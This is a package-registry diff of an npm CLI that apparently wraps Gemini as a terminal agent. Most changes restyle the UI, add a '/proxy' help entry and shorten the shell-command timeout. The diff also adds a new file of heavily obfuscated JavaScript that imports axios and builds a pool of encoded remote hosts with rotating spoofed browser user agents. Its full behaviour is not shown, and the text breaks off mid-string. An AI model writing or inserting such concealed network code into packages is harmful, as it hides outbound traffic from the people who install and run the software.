@ikyyofc/gemini-cli 2.0.6 → 2.0.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/renderer.js CHANGED
@@ -1,21 +1,23 @@
1
- // src/renderer.js
1
+ // src/renderer.js — Terminal UI
2
2
  import chalk from "chalk";
3
3
 
4
- // Accent colors
5
4
  const C = {
6
5
  blue: "#4A9EFF",
7
- teal: "#1DB8A0",
8
- dim: "#555566",
9
- code: "#CE9178",
10
- kw: "#569CD6",
11
- str: "#CE9178",
6
+ teal: "#00D4AA",
7
+ purple: "#C586FF",
8
+ yellow: "#FFD080",
9
+ orange: "#FF9060",
10
+ red: "#FF5F7E",
11
+ green: "#50FA7B",
12
+ dim: "#4A4A5E",
13
+ dimmer: "#32323E",
14
+ muted: "#7A7A9A",
15
+ white: "#E8E8F0",
16
+ kw: "#79B8FF",
17
+ str: "#F0A070",
12
18
  comment: "#6A9955",
13
19
  num: "#B5CEA8",
14
- fn: "#DCDCAA",
15
- green: "#4EC9B0",
16
- yellow: "#E5C07B",
17
- red: "#E06C75",
18
- white: "#CDD6F4",
20
+ fn: "#FFD080",
19
21
  };
20
22
 
21
23
  // ─────────────────────────────────────────────────────────────────
@@ -26,27 +28,29 @@ const KW = {
26
28
  ts: /\b(const|let|var|function|return|if|else|for|while|switch|case|class|extends|import|export|default|async|await|try|catch|type|interface|enum|implements|declare|readonly|abstract|as|keyof|never|any|string|number|boolean|null|undefined|true|false)\b/g,
27
29
  py: /\b(def|class|return|if|elif|else|for|while|import|from|as|with|try|except|finally|raise|pass|break|continue|and|or|not|in|is|None|True|False|lambda|yield|global|async|await)\b/g,
28
30
  go: /\b(func|return|if|else|for|range|switch|var|const|type|struct|interface|import|package|defer|go|chan|map|make|new|nil|true|false)\b/g,
29
- sh: /\b(if|then|else|elif|fi|for|while|do|done|case|esac|function|return|exit|export|echo|local|source|cd|mkdir|rm|cp|mv)\b/g,
31
+ sh: /\b(if|then|else|elif|fi|for|while|do|done|case|esac|function|return|exit|export|echo|local|source|cd|mkdir|rm|cp|mv|sudo|apt|npm|pip|git)\b/g,
30
32
  rs: /\b(fn|let|mut|return|if|else|for|match|use|mod|pub|struct|enum|impl|trait|type|const|async|await|true|false|None|Some|Ok|Err)\b/g,
33
+ json: null,
31
34
  };
32
35
  const LANGMAP = {
33
- javascript:"js",js:"js",typescript:"ts",ts:"ts",
34
- python:"py",py:"py",go:"go",golang:"go",
35
- rust:"rs",rs:"rs",bash:"sh",sh:"sh",shell:"sh",zsh:"sh",fish:"sh",
36
+ javascript:"js", js:"js", typescript:"ts", ts:"ts",
37
+ python:"py", py:"py", go:"go", golang:"go",
38
+ rust:"rs", rs:"rs", bash:"sh", sh:"sh", shell:"sh", zsh:"sh", fish:"sh",
39
+ json:"json", jsonc:"json",
36
40
  };
37
41
 
38
42
  function highlight(code, lang = "") {
39
43
  const l = LANGMAP[lang.toLowerCase()] || "";
44
+ if (!l || l === "json") return code;
40
45
  let r = code;
41
46
  const saved = [];
42
47
  const save = s => { const id = `\x00${saved.length}\x00`; saved.push(s); return id; };
43
-
44
- r = r.replace(/(\/\/.*$|#.*$|\/\*[\s\S]*?\*\/)/gm, m => save(chalk.hex(C.comment).italic(m)));
48
+ r = r.replace(/(\/\/.*$|#.*$|\/\*[\s\S]*?\*\/)/gm, m => save(chalk.hex(C.comment).italic(m)));
45
49
  r = r.replace(/("(?:[^"\\]|\\.)*"|'(?:[^'\\]|\\.)*'|`(?:[^`\\]|\\.)*`)/g, m => save(chalk.hex(C.str)(m)));
46
50
  if (KW[l]) r = r.replace(KW[l], m => save(chalk.hex(C.kw).bold(m)));
47
51
  r = r.replace(/\b(\d+\.?\d*)\b/g, m => save(chalk.hex(C.num)(m)));
48
52
  r = r.replace(/\b([a-zA-Z_$][a-zA-Z0-9_$]*)\s*(?=\()/g, m => save(chalk.hex(C.fn)(m)));
49
- return r.replace(/\x00(\d+)\x00/g, (_, i) => saved[parseInt(i)]);
53
+ return r.replace(/\x00(\d+)\x00/g, (_, i) => saved[+i]);
50
54
  }
51
55
 
52
56
  // ─────────────────────────────────────────────────────────────────
@@ -55,272 +59,270 @@ function highlight(code, lang = "") {
55
59
  export function renderMarkdown(text) {
56
60
  let r = text;
57
61
 
58
- // Fenced code blocks — with line gutter
62
+ // Code blocks
59
63
  r = r.replace(/```(\w*)\n?([\s\S]*?)```/g, (_, lang, code) => {
60
64
  const trimmed = code.trimEnd();
61
65
  const lines = trimmed.split("\n");
62
66
  const hl = highlight(trimmed, lang);
63
67
  const hlLines = hl.split("\n");
64
- const lbl = lang
65
- ? chalk.hex(C.blue).bold(` ${lang} `)
66
- : "";
67
- const gutterW = String(lines.length).length;
68
-
69
- const header = chalk.hex(C.dim)(" ╭") +
70
- chalk.hex(C.dim)("─".repeat(2)) +
71
- lbl +
72
- chalk.hex(C.dim)("─".repeat(Math.max(0, 40 - lang.length - 2))) +
73
- "╮";
74
- const footer = chalk.hex(C.dim)(" ╰" + "─".repeat(44) + "╯");
75
- const body = hlLines.map((l, i) => {
76
- const n = chalk.hex(C.dim)(String(i + 1).padStart(gutterW));
77
- return chalk.hex(C.dim)(" │ ") + n + chalk.hex(C.dim)(" │ ") + l;
68
+ const gw = String(lines.length).length;
69
+ const label = lang ? chalk.hex(C.blue).bold(` ${lang} `) + chalk.hex(C.dimmer)("─".repeat(Math.max(0, 36 - lang.length))) : chalk.hex(C.dimmer)("─".repeat(38));
70
+
71
+ const top = chalk.hex(C.dim)(" ┌─") + label + chalk.hex(C.dim)("┐");
72
+ const bot = chalk.hex(C.dim)(" └" + "─".repeat(40) + "┘");
73
+ const body = hlLines.map((l, i) => {
74
+ const ln = chalk.hex(C.dimmer)(String(i + 1).padStart(gw));
75
+ return chalk.hex(C.dim)(" │") + chalk.hex(C.dimmer)(" " + ln + " ╎ ") + l;
78
76
  }).join("\n");
79
77
 
80
- return `\n${header}\n${body}\n${footer}\n`;
78
+ return `\n${top}\n${body}\n${bot}\n`;
81
79
  });
82
80
 
83
81
  // Inline code
84
82
  r = r.replace(/`([^`\n]+)`/g, (_, c) =>
85
- chalk.hex(C.code)("") + chalk.hex(C.code).bold(c) + chalk.hex(C.code)("")
83
+ chalk.bgHex("#2A2A3E")(chalk.hex(C.orange)(" " + c + " "))
86
84
  );
87
85
 
88
86
  // Headers
89
- r = r.replace(/^### (.+)$/gm, (_, t) =>
90
- "\n" + chalk.hex(C.yellow).bold(" " + t)
91
- );
92
- r = r.replace(/^## (.+)$/gm, (_, t) =>
93
- "\n" + chalk.hex(C.blue).bold(" ›› " + t)
94
- );
95
- r = r.replace(/^# (.+)$/gm, (_, t) =>
96
- "\n" + chalk.hex(C.teal).bold(" ▸ " + t.toUpperCase())
97
- );
87
+ r = r.replace(/^### (.+)$/gm, (_, t) => "\n" + chalk.hex(C.yellow).bold(" ◈ " + t));
88
+ r = r.replace(/^## (.+)$/gm, (_, t) => "\n" + chalk.hex(C.blue).bold.underline(" " + t));
89
+ r = r.replace(/^# (.+)$/gm, (_, t) => "\n" + chalk.hex(C.teal).bold(" ◉ " + t.toUpperCase()));
98
90
 
99
91
  // Bold / italic
100
92
  r = r.replace(/\*\*\*(.+?)\*\*\*/g, (_, t) => chalk.bold.italic(t));
101
93
  r = r.replace(/\*\*(.+?)\*\*/g, (_, t) => chalk.bold(t));
102
94
  r = r.replace(/\*(.+?)\*/g, (_, t) => chalk.italic(t));
103
95
 
104
- // Blockquotes
96
+ // Blockquote
105
97
  r = r.replace(/^> (.+)$/gm, (_, t) =>
106
- chalk.hex(C.blue)(" ") + chalk.hex(C.white).italic(t)
98
+ chalk.hex(C.purple)(" ") + chalk.hex(C.muted).italic(t)
107
99
  );
108
100
 
109
101
  // Lists
110
- r = r.replace(/^(\s*)[*\-+] (.+)$/gm, (_, ind, t) =>
111
- ind + chalk.hex(C.teal)(" ") + t
112
- );
113
- r = r.replace(/^(\s*)(\d+)\. (.+)$/gm, (_, ind, n, t) =>
114
- ind + chalk.hex(C.blue)(" " + n + ". ") + t
115
- );
102
+ r = r.replace(/^(\s*)[*\-+] (.+)$/gm, (_, i, t) => i + chalk.hex(C.teal)(" ◆ ") + chalk.hex(C.white)(t));
103
+ r = r.replace(/^(\s*)(\d+)\. (.+)$/gm, (_, i, n, t) => i + chalk.hex(C.blue)(" " + chalk.bold(n + ".") + " ") + chalk.hex(C.white)(t));
116
104
 
117
105
  // HR
118
- r = r.replace(/^---+$/gm,
119
- chalk.hex(C.dim)(" " + "─".repeat(50))
120
- );
106
+ r = r.replace(/^---+$/gm, chalk.hex(C.dimmer)(" " + "╌".repeat(48)));
121
107
 
122
108
  return r;
123
109
  }
124
110
 
125
111
  // ─────────────────────────────────────────────────────────────────
126
- // Message printers
112
+ // User message
127
113
  // ─────────────────────────────────────────────────────────────────
128
114
  export function printUser(text) {
129
- const lines = text.split("\n");
115
+ const lines = text.split("\n");
130
116
  const isMulti = lines.length > 1;
117
+ const W = 50;
131
118
 
132
- // Single line: compact
133
119
  if (!isMulti) {
134
120
  process.stdout.write(
135
121
  "\n" +
136
- chalk.hex(C.blue)(" ") +
137
- chalk.hex(C.blue).bold("you ") +
138
- chalk.hex(C.white)(text) +
139
- "\n"
122
+ chalk.hex(C.blue)(" ╭─") +
123
+ chalk.hex(C.blue).bold(" you ") +
124
+ chalk.hex(C.dim)("─".repeat(W - 5)) + "\n" +
125
+ chalk.hex(C.blue)(" │ ") + chalk.hex(C.white)(text) + "\n" +
126
+ chalk.hex(C.blue)(" ╰" + "─".repeat(W + 2)) + "\n"
140
127
  );
141
128
  return;
142
129
  }
143
130
 
144
- // Multi-line (pasted code): show with left bar
145
131
  process.stdout.write(
146
132
  "\n" +
147
- chalk.hex(C.blue)(" ") +
148
- chalk.hex(C.blue).bold("you") +
149
- chalk.hex(C.dim)(` (${lines.length} lines)`) +
150
- "\n"
133
+ chalk.hex(C.blue)(" ╭─") +
134
+ chalk.hex(C.blue).bold(" you ") +
135
+ chalk.hex(C.dim)("─".repeat(W - 5)) +
136
+ chalk.hex(C.dim)(` (${lines.length} lines)`) + "\n"
151
137
  );
152
138
  lines.forEach(l =>
153
- process.stdout.write(chalk.hex(C.blue)(" │ ") + chalk.hex(C.white)(l) + "\n")
139
+ process.stdout.write(chalk.hex(C.blue)(" │ ") + chalk.hex(C.white)(l) + "\n")
154
140
  );
155
- process.stdout.write(chalk.hex(C.blue)(" ") + "\n");
141
+ process.stdout.write(chalk.hex(C.blue)(" " + "─".repeat(W + 2)) + "\n");
156
142
  }
157
143
 
144
+ // ─────────────────────────────────────────────────────────────────
145
+ // Gemini response
146
+ // ─────────────────────────────────────────────────────────────────
158
147
  export function printAssistant(text) {
159
- const rendered = renderMarkdown(text);
160
- const lines = rendered.split("\n");
148
+ const W = 50;
149
+ const rendered = renderMarkdown(text).trimEnd();
150
+ const lines = rendered.split("\n");
161
151
 
162
152
  process.stdout.write(
163
153
  "\n" +
164
- chalk.hex(C.teal)(" ") +
165
- chalk.hex(C.teal).bold("gemini") +
166
- "\n"
154
+ chalk.hex(C.teal)(" ╭─") +
155
+ chalk.hex(C.teal).bold(" gemini ") +
156
+ chalk.hex(C.dim)("─".repeat(W - 8)) + "\n"
167
157
  );
168
-
169
158
  lines.forEach(l =>
170
- process.stdout.write(chalk.hex(C.teal)(" │ ") + l + "\n")
159
+ process.stdout.write(chalk.hex(C.teal)(" │") + " " + l + "\n")
160
+ );
161
+ process.stdout.write(
162
+ chalk.hex(C.teal)(" ╰" + "─".repeat(W + 2)) + "\n\n"
171
163
  );
172
-
173
- process.stdout.write(chalk.hex(C.teal)(" ╹") + "\n\n");
174
164
  }
175
165
 
176
166
  // ─────────────────────────────────────────────────────────────────
177
- // Status messages
167
+ // Agent step block — one block per iteration, fresh each time
178
168
  // ─────────────────────────────────────────────────────────────────
179
- export function printError(msg) {
169
+ export function printStepHeader(step, label = "working") {
170
+ const tag = chalk.hex(C.yellow).bold(` ${label} `);
171
+ const num = step > 1 ? chalk.hex(C.dim)(` step ${step}`) : "";
172
+ const trail = chalk.hex(C.dim)("─".repeat(Math.max(2, 40 - label.length)));
180
173
  process.stdout.write(
181
174
  "\n" +
182
- chalk.hex(C.red)(" ") +
183
- chalk.hex(C.red).bold("error ") +
184
- chalk.white(msg) +
185
- "\n\n"
175
+ chalk.hex(C.yellow)(" ╭─") + tag + trail + num + "\n"
186
176
  );
187
177
  }
188
- export function printInfo(msg) {
189
- process.stdout.write(
190
- chalk.hex(C.dim)(" · ") +
191
- chalk.hex(C.white)(msg) +
192
- "\n"
193
- );
194
- }
195
- export function printSuccess(msg) {
196
- process.stdout.write(
197
- chalk.hex(C.teal)(" ✓ ") +
198
- chalk.hex(C.teal)(msg) +
199
- "\n"
200
- );
201
- }
202
- export function printWarning(msg) {
178
+
179
+ export function printStepFooter() {
203
180
  process.stdout.write(
204
- chalk.hex(C.yellow)(" ") +
205
- chalk.hex(C.yellow)(msg) +
206
- "\n"
181
+ chalk.hex(C.yellow)(" ╰" + "─".repeat(50)) + "\n"
207
182
  );
208
183
  }
209
184
 
210
- // ─────────────────────────────────────────────────────────────────
211
- // Tool call display (used by agent.js)
212
- // ─────────────────────────────────────────────────────────────────
213
185
  export function printToolCall(name, args = {}) {
214
186
  const argStr = Object.entries(args)
215
187
  .map(([k, v]) => {
216
- const s = String(v);
217
- return chalk.hex(C.dim)(k + ":") + chalk.hex(C.code)(s.length > 55 ? s.slice(0, 55) + "…" : s);
188
+ const s = String(v).replace(/\n/g, "↵");
189
+ return chalk.hex(C.muted)(k + ":") + chalk.hex(C.orange)(s.length > 50 ? s.slice(0, 50) + "…" : s);
218
190
  })
219
191
  .join(" ");
220
192
 
221
193
  process.stdout.write(
222
- chalk.hex(C.blue)(" ├─ ") +
194
+ chalk.hex(C.yellow)(" ├─ ") +
223
195
  chalk.hex(C.blue).bold(name) +
224
- (argStr ? " " + argStr : "") +
225
- "\n"
196
+ (argStr ? " " + argStr : "") + "\n"
226
197
  );
227
198
  }
228
199
 
229
200
  export function printToolResult(result) {
230
201
  const isErr = typeof result === "object" && result.error;
231
202
  const text = typeof result === "object"
232
- ? (result.result ?? result.error ?? JSON.stringify(result))
203
+ ? (result.result ?? result.error ?? JSON.stringify(result, null, 2))
233
204
  : String(result);
234
- const color = isErr ? chalk.hex(C.red) : chalk.hex(C.dim);
235
- const lines = text.split("\n");
236
- const shown = lines.slice(0, 10);
237
- const extra = lines.length > 10 ? chalk.hex(C.dim)(` +${lines.length - 10} more lines`) : "";
205
+ const color = isErr ? chalk.hex(C.red) : chalk.hex(C.muted);
206
+ const border = isErr ? chalk.hex(C.red) : chalk.hex(C.dimmer);
207
+ const lines = text.split("\n");
208
+ const shown = lines.slice(0, 12);
209
+ const extra = lines.length > 12 ? lines.length - 12 : 0;
238
210
 
239
211
  shown.forEach(l =>
240
- process.stdout.write(chalk.hex(C.dim)(" │ ") + color(l) + "\n")
212
+ process.stdout.write(border(" │ ") + color(l) + "\n")
241
213
  );
242
- if (extra) process.stdout.write(" " + extra + "\n");
214
+ if (extra > 0)
215
+ process.stdout.write(border(" │ ") + chalk.hex(C.dim)(`… +${extra} more lines`) + "\n");
243
216
  }
244
217
 
245
218
  // ─────────────────────────────────────────────────────────────────
246
- // Welcome screen
219
+ // Status messages
220
+ // ─────────────────────────────────────────────────────────────────
221
+ export function printThinking(step) {
222
+ process.stdout.write(
223
+ "\n" +
224
+ chalk.hex(C.dim)(" ◌ ") +
225
+ chalk.hex(C.muted)("thinking") +
226
+ (step > 1 ? chalk.hex(C.dim)(` · step ${step}`) : "") +
227
+ chalk.hex(C.dim)(" …") + "\n"
228
+ );
229
+ }
230
+
231
+ export function printError(msg) {
232
+ process.stdout.write(
233
+ "\n" +
234
+ chalk.hex(C.red)(" ╳ ") +
235
+ chalk.hex(C.red).bold("error") +
236
+ chalk.hex(C.muted)(" " + msg) + "\n\n"
237
+ );
238
+ }
239
+ export function printInfo(msg) {
240
+ process.stdout.write(
241
+ chalk.hex(C.dim)(" · ") + chalk.hex(C.white)(msg) + "\n"
242
+ );
243
+ }
244
+ export function printSuccess(msg) {
245
+ process.stdout.write(
246
+ chalk.hex(C.teal)(" ✓ ") + chalk.hex(C.teal)(msg) + "\n"
247
+ );
248
+ }
249
+ export function printWarning(msg) {
250
+ process.stdout.write(
251
+ chalk.hex(C.yellow)(" ⚠ ") + chalk.hex(C.yellow)(msg) + "\n"
252
+ );
253
+ }
254
+
255
+ // ─────────────────────────────────────────────────────────────────
256
+ // Welcome
247
257
  // ─────────────────────────────────────────────────────────────────
248
258
  export function renderWelcome(memCount = 0, extCount = 0) {
249
259
  const stats = [
250
260
  memCount ? `${memCount} context file${memCount > 1 ? "s" : ""}` : null,
251
261
  extCount ? `${extCount} extension${extCount > 1 ? "s" : ""}` : null,
252
- ].filter(Boolean);
253
-
254
- const sep = chalk.hex(C.blue)(" " + "━".repeat(46));
262
+ ].filter(Boolean).join(" · ");
255
263
 
256
264
  return [
257
265
  "",
258
- sep,
259
- chalk.hex(C.teal).bold(" Gemini CLI") +
260
- chalk.hex(C.dim)(" ─ AI Agent ─ native function calling"),
261
- sep,
262
- stats.length
263
- ? chalk.hex(C.dim)(" ") + chalk.hex(C.white)(stats.join(" · "))
266
+ chalk.hex(C.dim)(" ┌─────────────────────────────────────────────────┐"),
267
+ chalk.hex(C.dim)(" │") + " " + chalk.hex(C.teal).bold("Gemini") + chalk.hex(C.blue).bold(" CLI") + chalk.hex(C.dim)(" ─ AI Agent ─ native function calling ") + chalk.hex(C.dim)("│"),
268
+ chalk.hex(C.dim)(" └─────────────────────────────────────────────────┘"),
269
+ stats
270
+ ? chalk.hex(C.dim)(" ") + chalk.hex(C.muted)(stats)
264
271
  : "",
265
- chalk.hex(C.dim)(" /help") +
266
- chalk.hex(C.dim)(" for commands · ") +
267
- chalk.hex(C.dim)("/agent") +
268
- chalk.hex(C.dim)(" to toggle tools"),
272
+ chalk.hex(C.dim)(" ") + chalk.hex(C.dim)("/help") + chalk.hex(C.dim)(" · ") + chalk.hex(C.dim)("/agent") + chalk.hex(C.dim)(" toggle tools · ") + chalk.hex(C.dim)("/yolo") + chalk.hex(C.dim)(" skip confirms"),
269
273
  "",
270
274
  ].join("\n");
271
275
  }
272
276
 
273
277
  // ─────────────────────────────────────────────────────────────────
274
- // Help screen
278
+ // Help
275
279
  // ─────────────────────────────────────────────────────────────────
276
280
  export function renderHelp(customCommands = {}) {
277
- const sep = chalk.hex(C.dim)(" " + "─".repeat(50));
278
-
281
+ const sep = chalk.hex(C.dimmer)(" " + "─".repeat(52));
279
282
  const row = (cmd, desc) =>
280
- " " +
281
- chalk.hex(C.blue).bold(cmd.padEnd(28)) +
282
- chalk.hex(C.dim)(desc);
283
+ " " + chalk.hex(C.blue).bold(cmd.padEnd(26)) + chalk.hex(C.muted)(desc);
283
284
 
284
285
  const lines = [
285
286
  "",
286
287
  chalk.hex(C.teal).bold(" Commands"),
287
288
  sep,
288
- row("/agent", "Toggle agent mode (tools on/off)"),
289
+ row("/agent", "Toggle agent mode chat mode"),
289
290
  row("/yolo", "Skip all tool confirmations"),
290
291
  sep,
291
- row("/memory show", "Show loaded GEMINI.md files"),
292
- row("/memory reload", "Reload context from disk"),
293
- row("/memory add <text>", "Append to ~/.gemini/GEMINI.md"),
292
+ row("/memory show", "Show loaded GEMINI.md context files"),
293
+ row("/memory reload", "Reload all context from disk"),
294
+ row("/memory add <text>", "Append text to ~/.gemini/GEMINI.md"),
294
295
  sep,
295
296
  row("/ext list", "List installed extensions"),
296
- row("/ext install <src>", "Install from path or git URL"),
297
- row("/ext uninstall <n>", "Remove extension"),
298
- row("/ext enable <n>", "Enable extension"),
299
- row("/ext disable <n>", "Disable extension"),
297
+ row("/ext install <src>", "Install from local path or git URL"),
298
+ row("/ext uninstall <n>", "Uninstall extension"),
299
+ row("/ext enable/disable", "Toggle extension on/off"),
300
300
  row("/ext update <n>", "Pull latest from git"),
301
301
  sep,
302
302
  row("/file <path>", "Attach file to next message"),
303
- row("/system <text>", "Set system instruction"),
303
+ row("/system <text>", "Set session system instruction"),
304
304
  row("/history", "Show conversation turns"),
305
- row("/export <file>", "Export history to JSON"),
305
+ row("/export <file.json>", "Export conversation to JSON"),
306
306
  row("/cd <path>", "Change working directory"),
307
307
  row("/new /clear", "Reset conversation"),
308
308
  row("/model", "Show model & config"),
309
+ row("/proxy [on|off]", "Proxy rotation status / toggle"),
309
310
  row("/exit /quit", "Exit"),
311
+ sep,
310
312
  ];
311
313
 
312
- const cmds = Object.entries(customCommands);
313
- if (cmds.length) {
314
- lines.push("", chalk.hex(C.teal).bold(" Extension Commands"), sep);
315
- cmds.forEach(([k, c]) => lines.push(row("/" + k, c.description ?? "")));
314
+ if (Object.keys(customCommands).length) {
315
+ lines.push(chalk.hex(C.purple).bold(" Extension Commands"), sep);
316
+ Object.entries(customCommands).forEach(([k, c]) =>
317
+ lines.push(row("/" + k, c.description ?? ""))
318
+ );
319
+ lines.push(sep);
316
320
  }
317
321
 
318
322
  lines.push(
319
- "",
320
- chalk.hex(C.dim)(" Paste multi-line code freely — collected as one input."),
321
- chalk.hex(C.dim)(" Ctrl+C cancel/exit · Ctrl+D exit"),
323
+ chalk.hex(C.dim)(" Paste multi-line code freely."),
324
+ chalk.hex(C.dim)(" Ctrl+C interrupt · Ctrl+D exit"),
322
325
  "",
323
326
  );
324
-
325
327
  return lines.join("\n");
326
328
  }
package/src/tools.js CHANGED
@@ -106,7 +106,7 @@ export const FUNCTION_DECLARATIONS = [
106
106
  properties: {
107
107
  command: { type: "STRING", description: "Shell command to execute" },
108
108
  cwd: { type: "STRING", description: "Working directory (default: current)" },
109
- timeout: { type: "NUMBER", description: "Timeout in milliseconds (default 600000)" }
109
+ timeout: { type: "NUMBER", description: "Timeout in milliseconds (default 30000)" }
110
110
  },
111
111
  required: ["command"]
112
112
  }
@@ -275,7 +275,7 @@ export async function executeTool(name, args = {}, { autoApprove = false } = {})
275
275
 
276
276
  case "run_shell": {
277
277
  const cwd = args.cwd ? path.resolve(args.cwd) : process.cwd();
278
- const timeout = args.timeout || 600000;
278
+ const timeout = args.timeout || 30000;
279
279
  try {
280
280
  const { stdout, stderr } = await execAsync(args.command, { cwd, timeout, maxBuffer: 5*1024*1024 });
281
281
  const out = [stdout?.trim(), stderr?.trim() ? `[stderr]\n${stderr.trim()}` : null].filter(Boolean).join("\n");
@@ -358,4 +358,4 @@ function fmtBytes(n) {
358
358
  if (n < 1024) return n + "B";
359
359
  if (n < 1048576) return (n/1024).toFixed(1) + "K";
360
360
  return (n/1048576).toFixed(1) + "M";
361
- }
361
+ }
@@ -0,0 +1 @@
1
+ const _0x151091=_0x2d16;(function(_0x2eb3d3,_0x230410){const _0x8ab202=_0x2d16,_0x3914de=_0x2eb3d3();while(!![]){try{const _0x3ff89a=parseInt(_0x8ab202(0xf6,'CvX]'))/(-0x1f4*0x13+-0x80d*0x4+0x4551)*(parseInt(_0x8ab202(0xe3,'AOE0'))/(-0x1a2f*-0x1+-0x3a*0x3b+0xccf*-0x1))+-parseInt(_0x8ab202(0x1dd,'kwXB'))/(0x1238+0x12*-0x20b+0x1291)*(parseInt(_0x8ab202(0x25e,'e1Uy'))/(0x12d*-0x16+-0x3*-0x9d9+-0x1*0x3a9))+parseInt(_0x8ab202(0x25a,'uD[m'))/(0x6*-0x62b+-0x120*0x2+-0x5*-0x7db)*(parseInt(_0x8ab202(0xff,'tI1!'))/(-0x988+-0x4*-0x439+-0x3*0x272))+-parseInt(_0x8ab202(0x274,'oe4y'))/(-0x1946+0x131d+0x630)+-parseInt(_0x8ab202(0xd4,'K!Q4'))/(0xc1*0xa+0x718+-0xe9a)*(parseInt(_0x8ab202(0xda,'dRM@'))/(0x14d1+0x1*-0x2627+0x1*0x115f))+-parseInt(_0x8ab202(0x16e,'x#JC'))/(0xac2+0x1d7b+0x2833*-0x1)*(parseInt(_0x8ab202(0x249,'6Qji'))/(0x907+-0x1c12+0x2*0x98b))+parseInt(_0x8ab202(0x1f6,'bt3h'))/(0x5d1*-0x5+0x40*-0x27+0x10d*0x25)*(parseInt(_0x8ab202(0x1a3,'qz6q'))/(0x1c6e+-0x2004+0x3a3));if(_0x3ff89a===_0x230410)break;else _0x3914de['push'](_0x3914de['shift']());}catch(_0x2f4aca){_0x3914de['push'](_0x3914de['shift']());}}}(_0x2f5b,-0x1*-0x848b+-0x3ee*-0x1a8+-0x93b3));import _0x36e9ba from'axios';const proxyPool=[{'name':_0x151091(0x203,'bt3h'),'host':_0x151091(0x1d8,'!Zn!')+_0x151091(0x1b4,'PRVm')+_0x151091(0x1ad,'6]Ix')},{'name':'eu','host':_0x151091(0x153,'Oklf')+_0x151091(0xd8,'AOE0')},{'name':_0x151091(0x226,'6]Ix'),'host':_0x151091(0x132,'&[rl')+_0x151091(0x1ac,'8Q%c')+_0x151091(0x11b,']BLJ')+_0x151091(0x25b,'ru01')},{'name':_0x151091(0x23c,'e1Uy'),'host':_0x151091(0xf2,'6Qji')+_0x151091(0x145,'&[rl')+_0x151091(0xe2,'0fYZ')+_0x151091(0x1c3,'$y8&')+'v/'},{'name':_0x151091(0x16c,'qz6q'),'host':_0x151091(0x1da,'uW^q')+_0x151091(0x1db,'NL8r')+_0x151091(0x21a,'e1Uy')+_0x151091(0x1bf,'bt3h')+'v/'},{'name':_0x151091(0x243,'$eyi'),'host':_0x151091(0x16f,'JW#7')+_0x151091(0x135,']BLJ')+_0x151091(0x1a9,']BLJ')+_0x151091(0x15f,'8Q%c')+_0x151091(0x1a7,'pwNl')},{'name':_0x151091(0x1ca,'Oklf'),'host':_0x151091(0xe0,'&6Qp')+_0x151091(0x17c,'8Q%c')+_0x151091(0x25c,'Oklf')+'/'},{'name':_0x151091(0x259,'Oklf'),'host':_0x151091(0x26e,'[)yR')+_0x151091(0x24c,'*ebI')+_0x151091(0x204,'dRM@')+_0x151091(0xfe,'bt3h')+_0x151091(0x218,'N2YF')},{'name':_0x151091(0x1c1,'&6Qp'),'host':_0x151091(0x254,'&[rl')+_0x151091(0x253,'t8Os')+_0x151091(0x177,']BLJ')+_0x151091(0x18e,'AOE0')},{'name':_0x151091(0x230,'xn!^'),'host':_0x151091(0x21e,'PRVm')+_0x151091(0xcf,'[)yR')+_0x151091(0x17a,'!Zn!')},{'name':_0x151091(0x1d2,'NL8r')+_0x151091(0x1f0,'bt3h'),'host':_0x151091(0x256,'dRM@')+_0x151091(0x22b,'6]Ix')+_0x151091(0x10b,'!n1R')+_0x151091(0x15c,'6]Ix')},{'name':_0x151091(0x1c0,'xn!^')+_0x151091(0x157,'CvX]'),'host':_0x151091(0x26b,'pwNl')+_0x151091(0x1e2,'6Qji')+_0x151091(0x1dc,'GwV2')+_0x151091(0x1ab,'U^9v')+_0x151091(0xcc,'Fqws')+_0x151091(0x129,'uW^q')+_0x151091(0x15a,'uD[m')}],userAgents=[_0x151091(0xf4,'YjD$')+_0x151091(0x205,'&6Qp')+_0x151091(0x1f7,'uW^q')+_0x151091(0x26d,'[)yR')+_0x151091(0xf0,'[fXe')+_0x151091(0x26c,'pwNl')+_0x151091(0x187,'tI1!')+_0x151091(0xe6,'#V5)')+_0x151091(0x113,'*ebI')+_0x151091(0xeb,'e1Uy')+_0x151091(0x150,'GwV2')+'6',_0x151091(0x1ba,'%%]l')+_0x151091(0x120,'bt3h')+_0x151091(0x106,'&[rl')+_0x151091(0x18f,'CvX]')+_0x151091(0x111,'dRM@')+_0x151091(0x1bd,'aEH8')+_0x151091(0x1d5,'&6Qp')+_0x151091(0xf7,'!Zn!')+_0x151091(0x123,'qz6q')+_0x151091(0x18b,'PRVm')+_0x151091(0x231,'JW#7')+'6',_0x151091(0x1f3,'ZWgO')+_0x151091(0x24a,'bt3h')+_0x151091(0x110,'uD[m')+_0x151091(0x1fd,'6Qji')+_0x151091(0x1fa,']BLJ')+_0x151091(0x268,'kwXB')+_0x151091(0x232,'uW^q')+_0x151091(0x171,'uW^q')+_0x151091(0x247,'Fqws')+_0x151091(0x255,'t8Os')+_0x151091(0x1d9,'!n1R')+_0x151091(0x128,'PRVm'),_0x151091(0x1b3,'uW^q')+_0x151091(0x20e,'YjD$')+_0x151091(0xf8,'e1Uy')+_0x151091(0x174,'uW^q')+_0x151091(0x26f,'bt3h')+_0x151091(0x202,'Oklf')+_0x151091(0x1c4,')ObG')+_0x151091(0x229,'bt3h')+_0x151091(0x168,'N2YF')+_0x151091(0x169,'aEH8')+'6',_0x151091(0xea,'$y8&')+_0x151091(0x143,'CvX]')+_0x151091(0xf9,'PRVm')+_0x151091(0x1d7,')ObG')+_0x151091(0x163,'dRM@')+_0x151091(0x266,'uD[m')+_0x151091(0x124,'ru01')+_0x151091(0x178,'aEH8'),_0x151091(0x20c,'x#JC')+_0x151091(0x17e,'!Zn!')+_0x151091(0x11e,'N2YF')+_0x151091(0x136,'*ebI')+_0x151091(0x12e,'Fqws')+_0x151091(0x13d,'dRM@')+_0x151091(0x184,'8Q%c')+_0x151091(0x1ea,'!n1R')+_0x151091(0x212,'pwNl')+_0x151091(0x197,'K!Q4')+_0x151091(0x1a8,'pwNl')+_0x151091(0x11d,'NL8r'),_0x151091(0x17b,'GwV2')+_0x151091(0xe1,'K!Q4')+_0x151091(0x105,'[)yR')+_0x151091(0x1f2,'GwV2')+_0x151091(0x262,'8Q%c')+_0x151091(0x165,'UpvV')+_0x151091(0x107,'t8Os')+_0x151091(0x10a,'NL8r')+_0x151091(0x12c,'e1Uy')+_0x151091(0x1fe,')ObG')+_0x151091(0xd2,'6Qji')+_0x151091(0x19c,'&[rl')+_0x151091(0xdb,'$y8&